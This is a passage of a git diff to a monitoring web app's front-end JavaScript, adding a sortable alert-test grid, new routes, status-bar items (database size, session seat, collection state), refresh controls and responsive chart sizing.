   let editingId = null;
+  /* The record this editor is on, so the test table's sort and filters do not follow you to another rule. Every
+     new draft shares #/alert-rule/new, so each opening of it counts as its own. */
+  const draftNo = ++alertDraftSeq;
   let loadedVersion = null;
 
   if (id != null && id !== "new") {
@@ -136,7 +140,7 @@ export async function renderAlertEditor(main, id, templateKey) {
     model = seed ? seededModel(seed) : blankModel();
   }
 
-  buildAlertEditor(main, { model, editingId, loadedVersion, catalog, fleet, tags });
+  buildAlertEditor(main, { model, editingId, loadedVersion, catalog, fleet, tags, recordKey: editingId != null ? "rule-" + editingId : "draft-" + draftNo });
 }
 
 /* ─────────────────────────── model <-> definition ─────────────────────────── */
@@ -445,7 +449,7 @@ function buildAlertEditor(main, ctx) {
     }
 
     const tres = await api.testAlertRule({ definition: def });
-    mount(previewBox, renderTestResult(tres, model.metric.unit));
+    mount(previewBox, renderTestResult(tres, model.metric.unit, ctx.recordKey));
   }
 
   const deleteBtn = ctx.editingId != null ? buildDeleteButton(ctx.editingId, saveStatus) : null;
@@ -764,12 +768,14 @@ function advancedSection(model, onChange) {
   ]);
 }
 
+let alertDraftSeq = 0;
+
 /* ─────────────────────────── test result (current value / would-fire) ─────────────────────────── */
 
 /* The POST /api/alerts/test result: per-server CURRENT value + whether it would breach right now, in a table, with
    the hysteresis caveat above it. This is the instantaneous predicate only — the running evaluator also gates on
    hysteresis + per-server streak, which the note spells out. Every value reaches the DOM as text (R4). */
-function renderTestResult(res, unit) {
+export function renderTestResult(res, unit, recordKey = "") {
   if (res.kind === "empty") {
     /* An invalid/not-found draft comes back as {status, message}; surface the message (validate already ran, so
        this is the belt-and-suspenders path). */
@@ -789,27 +795,35 @@ function renderTestResult(res, unit) {
     return el("div", {}, nodes);
   }
 
-  const head = el("tr", {}, [
-    el("th", { text: "Server" }),
-    el("th", { class: "num", text: "Current value" }),
-    el("th", { text: "Would fire now" }),
-  ]);
-  const rows = results.map((r) => {
-    let verdict;
-    if (r.no_data) verdict = el("span", { class: "muted", text: "no data" });
-    else if (r.breaching) {
-      const sev = r.severity || "Warning";
-      verdict = el("span", { class: "status-cell sev-" + sev }, [el("span", { class: "glyph", text: "●" }), el("span", { text: "Yes — " + sev })]);
-    } else {
-      verdict = el("span", { class: "status-cell sev-Healthy" }, [el("span", { class: "glyph", text: "○" }), el("span", { text: "No" })]);
-    }
-    return el("tr", {}, [
-      el("td", { text: r.server }),
-      el("td", { class: "num", text: r.no_data ? "—" : formatComposedValue(r.current_value, unit || "") }),
-      el("td", {}, [verdict]),
-    ]);
-  });
-  nodes.push(el("div", { class: "table-wrap" }, [el("table", { class: "data" }, [el("thead", {}, [head]), el("tbody", {}, rows)])]));
+  /* The grid shares its sort, filter and picked cell across the editor's re-tests (module scope, keyed by the route,
+     which carries the rule being edited). Sort reads the raw value; the verdict column sorts, filters and copies as
+     its text ("Yes — Critical", "No", "no data"). */
+  const verdictText = (r) => (r.no_data ? "no data" : r.breaching ? "Yes — " + (r.severity || "Warning") : "No");
+  const columns = [
+    { key: "server", label: "Server" },
+    {
+      key: "current_value",
+      label: "Current value",
+      align: "right",
+      display: (r) => (r.no_data ? "—" : formatComposedValue(r.current_value, unit || "")),
+      sortValue: (r) => (r.no_data ? null : r.current_value),
+    },
+    {
+      key: "verdict",
+      label: "Would fire now",
+      sortValue: verdictText,
+      copyValue: verdictText,
+      render: (r) => {
+        if (r.no_data) return el("span", { class: "muted", text: "no data" });
+        if (r.breaching) {
+          const sev = r.severity || "Warning";
+          return el("span", { class: "status-cell sev-" + sev }, [el("span", { class: "glyph", text: "●" }), el("span", { text: "Yes — " + sev })]);
+        }
+        return el("span", { class: "status-cell sev-Healthy" }, [el("span", { class: "glyph", text: "○" }), el("span", { text: "No" })]);
+      },
+    },
+  ];
+  nodes.push(gridTable(results, { id: "alert-test|" + recordKey, title: "Alert rule test result", columns }));
   return el("div", {}, nodes);
 }
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js
index 5123fe2328..14fdb65498 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js
@@ -36,21 +36,29 @@
  * list) still refreshes.
  */
 
-import { el, mount, apiGet, apiGetFleet, bandClass, localTime, hasInFlightReads, isSessionExpired, onSessionExpired } from "./util.js";
-import { navigateServer } from "./panels.js";
+import { el, mount, apiGet, apiGetFleet, readTool, localTime, hasInFlightReads, readErrorCount, isSessionExpired, onSessionExpired } from "./util.js";
 import { renderFleet } from "./pages/fleet.js";
 import { renderAg } from "./pages/ag.js";
 import { renderSweeps } from "./pages/sweeps.js";
+import { renderAdmin } from "./pages/admin.js";
 import { renderServer } from "./pages/server.js";
+import { renderFinops } from "./pages/finops.js";
 import { renderAlerts } from "./pages/alerts.js";
 import { renderAlertRuleList } from "./pages/alert-rules.js";
 import { renderViewList, renderView, currentViewRefresh, onViewRefreshChange, clearViewRefresh } from "./pages/views.js";
-import { REFRESH_CHOICES, nextRefreshDelayMs, isBackedOff, defaultRefreshChoice, refreshLabel } from "./refresh-policy.js";
+import { REFRESH_CHOICES, PAGE_REFRESH_CHOICES, nextRefreshDelayMs, isBackedOff, defaultRefreshChoice, refreshLabel, loadPageRefreshChoice, savePageRefreshChoice, PAGE_REFRESH_KEY } from "./refresh-policy.js";
+import { buildPageRefreshControl } from "./refresh-control.js";
 import { renderTriage } from "./pages/triage.js";
 import { renderEditor } from "./editor.js";
 import { renderNotebookEditor } from "./notebook.js";
 import { renderAlertEditor } from "./alert-editor.js";
 import { getSession, listViews } from "./views-api.js";
+import { renderMuteRules } from "./pages/mute-rules.js";
+import { renderManageTags } from "./pages/manage-tags.js";
+import { renderJobHistory } from "./pages/job-history.js";
+import { refreshAttention, onChange as onLocalChange } from "./viewer-local.js";
+import { initSidebarCollapse, initSeverityColorSettings } from "./viewer-local-ui.js";
+import { initSidebarSearch, paintServerList } from "./sidebar.js";
 
 /* The shell (sidebar, view list, AG nav) refreshes every POLL_MS; the page re-renders on its own interval. */
 const POLL_MS = 60000;
@@ -67,6 +75,7 @@ const statusbar = document.getElementById("statusbar");
 function currentRoute() {
   const h = location.hash || "#/fleet";
   if (h.startsWith("#/server/")) return serverRoute(h.slice("#/server/".length));
+  if (h === "#/finops" || h.startsWith("#/finops/")) return finopsRoute(h.slice("#/finops".length).replace(/^\//, ""));
   if (h === "#/ag" || h === "#/ag/") return { name: "ag" };
   if (h === "#/sweeps" || h === "#/sweeps/") return { name: "sweeps" };
   /* #/triage?server=...&metric=...&at=...&dedup=... (#2710) — the deep-link every alert webhook carries.
@@ -85,6 +94,8 @@ function currentRoute() {
     return { name: "alertEditor", id: "new", template: decodeURIComponent(h.slice("#/alert-rule/new/".length)) };
   }
   if (h.startsWith("#/alert-rule/")) return { name: "alertEditor", id: decodeURIComponent(h.slice("#/alert-rule/".length)) };
+  /* #/admin and #/admin/{tab}: the read-only Admin page; an unknown tab falls back inside the page. */
+  if (h === "#/admin" || h.startsWith("#/admin/")) return { name: "admin", tab: safeDecode(h.slice("#/admin".length).replace(/^\//, "")) };
   /* #/views (list) is checked before the #/view/ forms; and the /edit form is tested before the bare /view/. */
   if (h === "#/views" || h === "#/views/") return { name: "views" };
   if (h === "#/view/new") return { name: "editor", id: "new" };
@@ -101,6 +112,13 @@ function currentRoute() {
     return { name: "notebookEditor", id: decodeURIComponent(h.slice("#/notebook/".length, h.length - "/edit".length)) };
   }
   if (h.startsWith("#/notebook/")) return { name: "notebook", id: decodeURIComponent(h.slice("#/notebook/".length)) };
+  /* #/mute-rules[?server_name=..&metric_name=..] — the query pre-fills the create form (Alert History actions). */
+  if (h === "#/mute-rules" || h.startsWith("#/mute-rules?")) {
+    const q = h.indexOf("?");
+    return { name: "muteRules", query: q >= 0 ? h.slice(q + 1) : "" };
+  }
+  if (h === "#/manage-tags") return { name: "manageTags" };
+  if (h === "#/job-history" || h === "#/job-history/") return { name: "jobHistory" };
   return { name: "fleet" };
 }
 
@@ -119,6 +137,27 @@ function serverRoute(rest) {
   };
 }
 
+/* #/finops, #/finops/{server} and #/finops/{server}/{tab}: the server and the sub-tab id ride in the hash, as on
+   the server page. The server name is encodeURIComponent'd, so a '/' inside it arrives as %2F. */
+function safeDecode(s) {
+  try {
+    return decodeURIComponent(s);
+  } catch {
+    return s;
+  }
+}
+
+function finopsRoute(rest) {
+  if (!rest) return { name: "finops" };
+  const slash = rest.indexOf("/");
+  if (slash < 0) return { name: "finops", param: safeDecode(rest) };
+  return {
+    name: "finops",
+    param: safeDecode(rest.slice(0, slash)),
+    tab: safeDecode(rest.slice(slash + 1)),
+  };
+}
+
 /**
  * @param {object} [opts] — forwarded to renderServer; `{ poll: true }` marks this call as the 60s poll's own
  * refresh rather than a hashchange (sub-tab click, deep link) or the first paint (#4190/#4191). Also forwarded
@@ -137,17 +176,22 @@ function route(opts) {
   markPageRenderStart(r.name, !!(opts && opts.poll === true));
   setActiveNav(r);
   if (r.name === "server") renderServer(main, r.param, r.tab, opts);
+  else if (r.name === "finops") renderFinops(main, r.param, r.tab, opts);
   else if (r.name === "ag") renderAg(main);
   else if (r.name === "sweeps") renderSweeps(main, opts);
   else if (r.name === "alerts") renderAlerts(main);
   else if (r.name === "alertRules") renderAlertRuleList(main);
   else if (r.name === "alertEditor") renderAlertEditor(main, r.id, r.template);
+  else if (r.name === "admin") renderAdmin(main, r.tab);
   else if (r.name === "triage") renderTriage(main, r.query);
   else if (r.name === "views") renderViewList(main);
   else if (r.name === "view") renderView(main, r.id);
   else if (r.name === "editor") renderEditor(main, r.id);
   else if (r.name === "notebook") renderView(main, r.id); // renderView kind-detects -> notebook document
   else if (r.name === "notebookEditor") renderNotebookEditor(main, r.id, r.template);
+  else if (r.name === "muteRules") renderMuteRules(main, r.query);
+  else if (r.name === "manageTags") renderManageTags(main);
+  else if (r.name === "jobHistory") renderJobHistory(main);
   else renderFleet(main);
 }
 
@@ -162,6 +206,9 @@ function isViewItemRoute(name) {
 function navKeyFor(r) {
   if (r.name === "views" || isViewItemRoute(r.name)) return "views";
   if (r.name === "alertRules" || r.name === "alertEditor") return "alert-rules";
+  if (r.name === "muteRules") return "mute-rules";
+  if (r.name === "manageTags") return "manage-tags";
+  if (r.name === "jobHistory") return "job-history";
   return r.name;
 }
 
@@ -197,24 +244,22 @@ async function refreshSidebar() {
     return;
   }
 
-  const cards = [...(res.data.cards || [])].sort((a, b) => a.display_name.localeCompare(b.display_name));
+  lastSidebarFleet = res;
+  /* One fleet-wide alert read per poll feeds every badge; it repaints the sidebar when it lands. */
+  refreshAttention(readTool).then(() => paintSidebar());
+  paintSidebar();
+}
+
+/* The last good fleet read, kept at module scope so a favourite or acknowledgement repaints without a refetch. */
+let lastSidebarFleet = null;
+
+function paintSidebar() {
+  const res = lastSidebarFleet;
+  if (!res) return;
   const r = currentRoute();
-  mount(
-    serverList,
-    cards.map((c) => {
-      const target = c.server_name || c.display_name;
-      const active = r.name === "server" && (r.param === c.server_name || r.param === c.display_name);
-      return el(
-        "div",
-        {
-          class: "server-item" + (active ? " active" : ""),
-          dataset: { server: target, display: c.display_name },
-          onActivate: () => navigateServer(target),
-        },
-        [el("span", { class: "dot " + bandClass(c.band) }), el("span", { class: "name", text: c.display_name })]
-      );
-    })
-  );
+  /* The search box, the group-by-tag view and the list rows live in sidebar.js; the term is its module state, so
+     this repaint (the 60 s poll, a favourite, a route change) never resets it. */
+  paintServerList(serverList, res.data, r.name === "server" ? r.param : null);
   updateStatusBar(res.data);
 }
 
@@ -283,10 +328,86 @@ async function refreshViewList() {
 /* ─────────────────────────── status bar ─────────────────────────── */
 
 /* A fixed footer mirroring the WPF viewer's status bar: fleet server count, collectors healthy/failing across
-   the fleet, and the last refresh time. Built from the SAME /api/fleet response the sidebar just read (no extra
-   round-trip). Store size has no web endpoint, so it is deliberately omitted here. */
-function updateStatusBar(d) {
+   the fleet, the store size, this session's seat, the collection state when it is not ok, and the last refresh
+   time. The fleet figures come from the SAME /api/fleet response the sidebar just read (no extra round-trip).
+   The extra items are filled in by refreshStatusExtras and never block or break the bar: each one that cannot
+   be read is simply absent (the store size keeps its last good value, marked stale).
+
+   Module scope on purpose: the 60s poll rebuilds the bar, so the cached size and the last ping state live here
+   rather than inside updateStatusBar. The operator's own "collection paused" flag is not shown: /api/ping does
+   not carry it (it is the unauthenticated health route) and no read the web seat can call exposes it. */
+const STORE_SIZE_TTL_MS = 5 * 60 * 1000;
+const NON_OK_COLLECTION_STATES = new Set(["starting", "degraded", "stopped"]);
+let statusFleet = null;
+let statusSeat = null;
+let statusCollection = null;
+let storeSizeBytes = null;
+let storeSizeStale = false;
+let storeSizeAttemptAt = 0;
+let storeSizeInFlight = false;
+
+/* The Viewer's wording (ViewerSeatIndicator): "Seat: read-write" / "Seat: read-only" / "Seat: not connected". */
+function seatLabel(session) {
+  if (!session) return null;
+  if (session.probe_failed) return "Seat: not connected";
+  return session.can_edit ? "Seat: read-write" : "Seat: read-only";
+}
+
+/* The Viewer's FormatBytes: GB with one decimal from 1 GB up, whole MB below. */
+function formatStoreSize(bytes) {
+  const mb = 1024 * 1024;
+  const gb = mb * 1024;
+  return bytes >= gb ? (bytes / gb).toFixed(1) + " GB" : Math.round(bytes / mb) + " MB";
+}
+
+/* /api/ping answers 503 for degraded/stopped, so apiGet would classify it as an error and drop the body; this
+   reads the body whatever the status. Any failure is null (the item is hidden). */
+async function fetchCollectionState() {
+  try {
+    const resp = await fetch("/api/ping", { headers: { Accept: "application/json" } });
+    const body = await resp.json();
+    return body && typeof body.status === "string" ? body.status : null;
+  } catch {
+    return null;
+  }
+}
+
+/* get_store_host is read at most once per STORE_SIZE_TTL_MS, failures included, so a store that cannot answer is
+   not retried every poll. A failure keeps the last good size and marks it stale. */
+async function refreshStoreSize(now) {
+  if (storeSizeInFlight || (storeSizeAttemptAt && now - storeSizeAttemptAt < STORE_SIZE_TTL_MS)) return;
+  storeSizeInFlight = true;
+  storeSizeAttemptAt = now;
+  try {
+    const res = await readTool("get_store_host", {});
+    const bytes = res && res.kind === "data" && res.data && res.data.store ? res.data.store.size_bytes : null;
+    if (typeof bytes === "number" && isFinite(bytes) && bytes >= 0) {
+      storeSizeBytes = bytes;
+      storeSizeStale = false;
+    } else {
+      storeSizeStale = true;
+    }
+  } catch {
+    storeSizeStale = true;
+  } finally {
+    storeSizeInFlight = false;
+  }
+}
+
+async function refreshStatusExtras() {
+  const [session, state] = await Promise.all([
+    getSession().catch(() => null),
+    fetchCollectionState(),
+    refreshStoreSize(Date.now()),
+  ]);
+  statusSeat = seatLabel(session);
+  statusCollection = state;
+  renderStatusBar();
+}
+
+function renderStatusBar() {
   if (!statusbar) return;
+  const d = statusFleet;
   if (!d) {
     mount(statusbar, el("span", { class: "sb-item muted", text: "Fleet unavailable" }));
     return;
@@ -298,18 +419,49 @@ function updateStatusBar(d) {
     failing += c.failed_collector_count || 0;
   }
   const servers = d.total_servers || 0;
-  mount(statusbar, [
+  const items = [
     el("span", { class: "sb-item", text: servers + (servers === 1 ? " server" : " servers") }),
-    el("span", { class: "sb-sep", text: "·" }),
     el("span", { class: "sb-item", text: healthy + " collectors healthy · " + failing + " failing" }),
-    el("span", { class: "sb-sep", text: "·" }),
-    el("span", { class: "sb-item", text: "Updated " + localTime(d.generated_at) }),
-    el("span", { class: "sb-sep", text: "·" }),
-    el("span", { class: "sb-item", id: "refresh-hint" }),
-  ]);
+  ];
+  if (storeSizeBytes != null) {
+    items.push(el("span", { class: "sb-item sb-store-size" + (storeSizeStale ? " muted" : ""), text: "Database: " + formatStoreSize(storeSizeBytes) + (storeSizeStale ? " (stale)" : "") }));
+  }
+  if (statusSeat) items.push(el("span", { class: "sb-item sb-seat", text: statusSeat }));
+  if (statusCollection && NON_OK_COLLECTION_STATES.has(statusCollection)) {
+    items.push(el("span", { class: "sb-item sb-collection sb-warn", text: "Collection: " + statusCollection[0].toUpperCase() + statusCollection.slice(1) }));
+  }
+  /* The stamp is the page's own last load (notePageUpdated), not the sidebar's fleet read: the fleet read is the
+     shell's, so a server, FinOps or Job History page reloaded by hand or by auto-refresh left the time at the first
+     load (the morning walk, W3/W10). Until the first page settles, the fleet roll-up's time stands in. */
+  const updated = statusPageUpdatedAt != null ? new Date(statusPageUpdatedAt).toISOString() : d.generated_at;
+  items.push(el("span", { class: "sb-item sb-updated", text: "Updated " + localTime(updated) }));
+  items.push(el("span", { class: "sb-item", id: "refresh-hint" }));
+
+  const children = [];
+  items.forEach((item, i) => {
+    if (i) children.push(el("span", { class: "sb-sep", text: "·" }));
+    children.push(item);
+  });
+  mount(statusbar, children);
   updateRefreshHint();
 }
 
+/* When the current page last finished loading (epoch ms), set by every route's render: first load, auto-refresh
+   poll and "Reload this page now" alike. */
+let statusPageUpdatedAt = null;
+
+function notePageUpdated(ms) {
+  statusPageUpdatedAt = ms;
+  /* Before the first fleet read lands there is no bar to repaint (it would flash "Fleet unavailable"). */
+  if (statusFleet) renderStatusBar();
+}
+
+function updateStatusBar(d) {
+  statusFleet = d || null;
+  renderStatusBar();
+  if (d) refreshStatusExtras();
+}
+
 /* ─────────────────────────── refresh loop ─────────────────────────── */
 
 /* Routes whose page the poll never re-renders.
@@ -343,24 +495,82 @@ function pageIntervalMs() {
     const choice = currentViewRefresh() || defaultRefreshChoice(name === "notebook");
     return REFRESH_CHOICES[choice] ?? 0;
   }
+  if (isPickerRoute(name)) return PAGE_REFRESH_CHOICES[pageRefreshChoice] ?? POLL_MS;
   return POLL_MS;
 }
 
+/* The server and FinOps pages carry the shell's interval selector and Refresh button (persisted in localStorage). */
+let pageRefreshChoice = loadPageRefreshChoice(localStorage);
+let pageRefreshControl = null;
+
+function isPickerRoute(routeName) {
+  return routeName === "server" || routeName === "finops";
+}
+
+function syncPageRefreshControl(routeName) {
+  if (!pageRefreshControl) return;
+  pageRefreshControl.root.hidden = !isPickerRoute(routeName);
+}
+
+/* The Refresh button: one shell refresh and one immediate page re-render. While any read is outstanding it does
+   nothing (the button is disabled and marked busy until they settle), so a double-click sends one refresh. */
+function syncRefreshBusy() {
+  if (pageRefreshControl) pageRefreshControl.setBusy(hasInFlightReads());
+}
+
+function refreshPageNow() {
+  if (isSessionExpired() || hasInFlightReads()) return;
+  refreshShell();
+  if (!isNoPollRoute(currentRoute().name)) route({ poll: true, manual: true });
+  syncRefreshBusy();
+}
+
+/* Another tab saved a different interval: take it here too. */
+function onPageRefreshStorage(event) {
+  if (event.key !== null && event.key !== PAGE_REFRESH_KEY) return;
+  pageRefreshChoice = loadPageRefreshChoice(localStorage);
+  if (pageRefreshControl) pageRefreshControl.setChoice(pageRefreshChoice);
+  if (!pageRendering) scheduleNextPageRefresh(Date.now());
+  else updateRefreshHint();
+}
+
+function initPageRefreshControl() {
+  const anchor = document.getElementById("auto-refresh-toggle");
+  if (!anchor || !anchor.parentNode) return;
+  pageRefreshControl = buildPageRefreshControl(pageRefreshChoice, (choice) => {
+    pageRefreshChoice = savePageRefreshChoice(localStorage, choice);
+    if (!pageRendering) scheduleNextPageRefresh(Date.now());
+    else updateRefreshHint();
+  }, refreshPageNow);
+  anchor.parentNode.appendChild(pageRefreshControl.root);
+  window.addEventListener("storage", onPageRefreshStorage);
+  syncPageRefreshControl(currentRoute().name);
+}
+
 function markPageRenderStart(routeName, isPoll) {
+  syncPageRefreshControl(routeName);
   if (!isPoll && (routeName === "view" || routeName === "notebook")) clearViewRefresh();
   if (isNoPollRoute(routeName)) {
     pageRendering = false;
     pageNextRefreshAt = Infinity;
+    notePageUpdated(Date.now());
     return;
   }
   pageRendering = true;
   pageRenderStart = Date.now();
+  pageRenderErrorsAtStart = readErrorCount();
   pageNextRefreshAt = Infinity;
 }
 
+/* The read-error count when the current render began; a render whose reads raised it ended with a red strip. */
+let pageRenderErrorsAtStart = 0;
+
 function settlePageRender(now) {
   pageRendering = false;
   pageLastRenderMs = now - pageRenderStart;
+  /* The footer says the page is current only when this render's reads settled without an error: a poll that failed keeps the last
+     good time, and the red strip on the page is the failure's own notice. */
+  if (readErrorCount() === pageRenderErrorsAtStart) notePageUpdated(now);
   scheduleNextPageRefresh(now);
 }
 
@@ -413,10 +623,12 @@ function schedulerTick() {
      "(slow page)", and pageIsDue never fired because it needs !pageRendering. Settling here stamps the end at
      the first tick that sees no reads outstanding and schedules the next refresh from that moment. */
   if (pageRendering && !hasInFlightReads()) settlePageRender(now);
+  syncRefreshBusy();
   if (document.hidden || isAutoRefreshPaused() || isSessionExpired()) {
     updateRefreshHint();
     return;
   }
+  /* Off pauses only the page's own render; the shell roll-up (sidebar, status bar, session check) keeps running. */
   if (now - shellLastRefreshAt >= POLL_MS) refreshShell();
   if (pageIsDue(now)) refreshPage();
   updateRefreshHint();
@@ -436,7 +648,8 @@ function updateRefreshHint() {
   else if (isBackedOff(interval, pageLastRenderMs) && Number.isFinite(pageNextRefreshAt)) {
     text = "Next refresh " + hhmm(pageNextRefreshAt) + " (slow page)";
   } else {
-    const choice = Object.keys(REFRESH_CHOICES).find((k) => REFRESH_CHOICES[k] === interval);
+    const choices = isPickerRoute(currentRoute().name) ? PAGE_REFRESH_CHOICES : REFRESH_CHOICES;
+    const choice = Object.keys(choices).find((k) => choices[k] === interval);
     text = "Auto-refresh: " + (choice ? refreshLabel(choice) : "1 min");
   }
   hint.textContent = text;
@@ -512,6 +725,11 @@ function start() {
   setInterval(schedulerTick, SCHEDULER_TICK_MS);
   onSessionExpired(showSignedOutState);
   initAutoRefreshToggle();
+  initPageRefreshControl();
+  initSidebarCollapse(document.getElementById("app"), document.getElementById("sidebar-collapse"));
+  initSidebarSearch(document.getElementById("server-search"), paintSidebar);
+  initSeverityColorSettings(document.getElementById("viewer-settings"));
+  onLocalChange(paintSidebar);
 
   refreshSidebar();
   refreshViewList();
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/charts.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/charts.js
index 3f96841aa3..d265f2157a 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/charts.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/charts.js
@@ -13,20 +13,36 @@
  *
  * NOTE (air-gap): SVG_NS is the W3C XML *namespace identifier* required by createElementNS — it is never
  * dereferenced over the network. The self-containment test (DarlingWebSelfContainmentTests) allowlists exactly
- * this string; keep it as the single occurrence in wwwroot.
+ * this string. pages/deadlock-graph.js keeps its own copy for the same reason (it does not import this file).
  */
 
-import { el, parseUtc, axisTime, emptyStrip } from "./util.js";
+import { el, mount, parseUtc, axisTime, emptyStrip, setQueryWaitFilter, waitIsLinked } from "./util.js";
 
 const SVG_NS = "http://www.w3.org/2000/svg";
 
-/* viewBox geometry — the SVG scales to its container width via CSS (width:100%, height:auto). */
-const W = 1000;
-const H = 320;
+/* Line and scatter charts draw at the width their container really has (#5586): one SVG unit is one CSS pixel in both
+   directions, so the axis text keeps its size on a wide panel and on a phone. CHART_DEFAULT_W is the width a chart is drawn
+   at before it is on the page and measured (it is built before it is mounted); the first measurement redraws it before the
+   first paint. CHART_MIN_W keeps the plot box from collapsing in a very narrow container (the host clips the rest). It is 200
+   so that a phone-width panel (a 260 px box) is drawn at its own width, with nothing clipped, in all three renderers. */
+const CHART_DEFAULT_W = 1000;
+const CHART_MIN_W = 200;
+const H = 300;
+/* A pointer drag shorter than this many CSS pixels is a click, not a brush. */
+const BRUSH_MIN_PX = 8;
+/* The ranked bar chart is drawn at its box's real width like the line and scatter charts (#5586); its row geometry is its own.
+   A label is at most BAR_LABEL_CHARS characters, and its 12px text is about BAR_CHAR_PX px a character (0.63 em, a little over the
+   average so a capital-heavy name still fits). The gutters reserve BAR_CHAR_BUDGET_PX a character, 16 % more, so text up to
+   0.73 em a character (a wide font, a run of capitals) still stays inside its gutter and the box. */
+const BAR_LABEL_CHARS = 30;
+const BAR_CHAR_PX = 7.6;
+const BAR_CHAR_BUDGET_PX = BAR_CHAR_PX * 1.16;
+const BAR_TRACK_MIN = 40;
 /* Top margin leaves headroom for the y-axis unit caption to sit fully clear of the top tick's label. */
 const M = { l: 58, r: 16, t: 26, b: 30 };
 const PLOT_H = H - M.t - M.b;
 const Y_TICKS = 4;
+let clipSeq = 0;
 
 function svg(tag, attrs) {
   const node = document.createElementNS(SVG_NS, tag);
@@ -34,6 +50,141 @@ function svg(tag, attrs) {
   return node;
 }
 
+/* x-axis label room (#5586). An axis label is 11px tabular text, about 6.6px per character; two neighbours want a gap
+   between them. The tick count is how many labels fit across the plot, so none overlap at 360 px and a wide panel gets
+   more ticks, not wider ones. */
+const X_LABEL_CHAR_PX = 6.6;
+const X_LABEL_GAP_PX = 32;
+const X_MAX_INTERVALS = 10;
+
+/* The last width each chart was measured at, by chart key (#5586): a line chart's menuKey (zoomableLineChart sets one) or the
+   widthKey a caller passes (the composed panels pass their panel id, and the scatter has no menuKey). Panels re-render on
+   every poll and a new chart is built before it is on the page, so it is first drawn at the width its predecessor measured:
+   the observer's first report is then within a pixel and skips the redraw, and each poll builds a chart once, not twice. A
+   chart with no key is drawn at CHART_DEFAULT_W and redrawn once, as before. */
+const plotWidths = new Map();
+const PLOT_WIDTH_KEYS = 200;
+
+/** The width a chart with this key is first drawn at. */
+function seedPlotW(key) {
+  return key != null && plotWidths.has(key) ? plotWidths.get(key) : CHART_DEFAULT_W;
+}
+
+function rememberPlotW(key, w) {
+  if (key == null) return;
+  plotWidths.delete(key);
+  plotWidths.set(key, w);
+  if (plotWidths.size > PLOT_WIDTH_KEYS) plotWidths.delete(plotWidths.keys().next().value);
+}
+
+/** The estimated width in px of the widest of these axis labels. */
+function labelsPx(labels) {
+  let chars = 0;
+  for (const l of labels) chars = Math.max(chars, String(l).length);
+  return chars * X_LABEL_CHAR_PX;
+}
+
+/**
+ * How many evenly spaced intervals a time axis `plotW` px wide can carry (one more label than that): 0 when not even two
+ * labels fit (the axis then keeps one), at most X_MAX_INTERVALS.
+ */
+function xTickIntervals(plotW, labels) {
+  const px = labelsPx(labels);
+  if (plotW < 2 * px + 8) return 0;
+  /* The first and last labels are anchored inward (start and end), so the pair next to each edge needs half a label more than
+     a middle pair does: 1.5 labels and a gap per interval holds for every pair. */
+  return Math.max(1, Math.min(X_MAX_INTERVALS, Math.floor(plotW / (1.5 * px + X_LABEL_GAP_PX))));
+}
+
+/**
+ * The x ticks of a time axis (#5586): { times, seconds }. No two labels may read the same, at any width and window. The tick
+ * count follows the plot width (xTickIntervals); a step of a minute or more puts the ticks on whole minutes and caps the
+ * count at the window's minutes, so a brush-zoomed span of a few minutes does not repeat HH:mm. A window too short for one
+ * minute per tick shows HH:mm:ss and puts the ticks on whole seconds, capped at the window's seconds. The two end ticks keep
+ * the exact domain bounds; the ticks between are floored onto the whole minute (second), which keeps them distinct from both
+ * ends because each step is at least that unit. A window across a clock change repeats a wall-clock hour, so the caller then
+ * labels every tick with its zone (`withZone`: "01:00 AM EDT", "01:00 AM EST"), which keeps the labels distinct; the width
+ * estimate counts that suffix.
+ */
+function xTickPlan(tMin, spanMs, plotW, crossesDay, withZone = false) {
+  if (spanMs === 0) return { times: [tMin], seconds: false };
+  const tMax = tMin + spanMs;
+  const widthIntervals = (seconds) => xTickIntervals(plotW, [tMin, tMin + spanMs / 2, tMax].map((t) => axisTime(new Date(t), crossesDay, seconds, withZone)));
+  const evenTicks = (n, unit) => {
+    const times = [tMin];
+    for (let i = 1; i < n; i++) times.push(Math.floor((tMin + (spanMs * i) / n) / unit) * unit);
+    times.push(tMax);
+    return times;
+  };
+  const byWidth = widthIntervals(false);
+  if (byWidth === 0) return { times: [tMin], seconds: false };
+  const nMinutes = Math.min(byWidth, Math.floor(spanMs / 60000));
+  if (nMinutes >= 2 || (nMinutes === 1 && byWidth === 1)) return { times: evenTicks(nMinutes, 60000), seconds: false };
+  const nSeconds = Math.min(widthIntervals(true), Math.floor(spanMs / 1000));
+  if (nSeconds < 1) return { times: [tMin], seconds: true };
+  return { times: evenTicks(nSeconds, 1000), seconds: true };
+}
+
+/**
+ * Keeps a plot drawn at the width its container really has (#5586). Observes `host` (the plot's box: it is 100% wide and
+ * its height is fixed, so the plot never feeds back into the size it watches) and calls `draw(width)` when the width
+ * changes by a pixel or more. The first measurement draws at once, so a chart built before it was mounted is redrawn
+ * before the first paint; later changes are coalesced to one draw per animation frame. A height-only change, a change
+ * under a pixel and a host that is not laid out (width 0) draw nothing. The observer is disconnected once the host has left
+ * the page (a removed element reports a final size, which is when the check runs), so panels that re-render on every
+ * refresh leave none behind. `drawnW` is the width the chart was first built at (seedPlotW(key)); every measurement is
+ * remembered under `key`.
+ */
+function watchPlotWidth(host, draw, key, drawnW) {
+  if (typeof ResizeObserver !== "function") return;
+  let pendingW = null;
+  let frame = 0;
+  let first = true;
+  let seen = false;
+  let observer = null;
+  const stop = () => {
+    if (observer) observer.disconnect();
+    observer = null;
+    if (frame && typeof cancelAnimationFrame === "function") cancelAnimationFrame(frame);
+    frame = 0;
+    pendingW = null;
+  };
+  const apply = () => {
+    frame = 0;
+    const w = pendingW;
+    pendingW = null;
+    if (!observer) return;
+    if (!host.isConnected) { stop(); return; }
+    if (w == null || Math.abs(w - drawnW) < 1) return;
+    drawnW = w;
+    draw(w);
+  };
+  observer = new ResizeObserver((entries) => {
+    if (!observer) return;
+    if (!host.isConnected) {
+      if (seen) stop();
+      return;
+    }
+    seen = true;
+    const box = entries && entries.length ? entries[entries.length - 1].contentRect : host.getBoundingClientRect();
+    if (!(box.width > 0)) return;
+    const w = Math.max(CHART_MIN_W, box.width);
+    rememberPlotW(key, w);
